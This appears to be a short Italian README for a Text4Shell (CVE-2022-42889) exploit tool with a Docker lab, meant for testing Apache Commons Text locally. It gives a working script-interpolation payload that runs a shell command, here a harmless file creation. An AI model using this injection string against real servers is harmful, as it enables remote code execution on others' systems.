
Strumento di exploit automatizzato per CVE-2022-42889 (Text4Shell RCE) con ambiente vulnerabile basato su Docker, che supporta payload di tipo script, dns e url lookup per testare la vulnerabilità di Apache Commons Text.
//Per hacking automatico: 1../install.sh
2../exploit.sh
//Per hacking manuale:
mvn clean install
docker build --tag=text4shell .
docker run -p 80:8080 text4shell
http://localhost/text4shell/attack?search=<anything>
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
Puoi anche provare a usare i prefissi dns o url.
Ottieni l'ID del container
docker container ls
docker exec -it <container_id> bash
foo creato nella directory /tmp):ls /tmp/
docker container stop <container_id>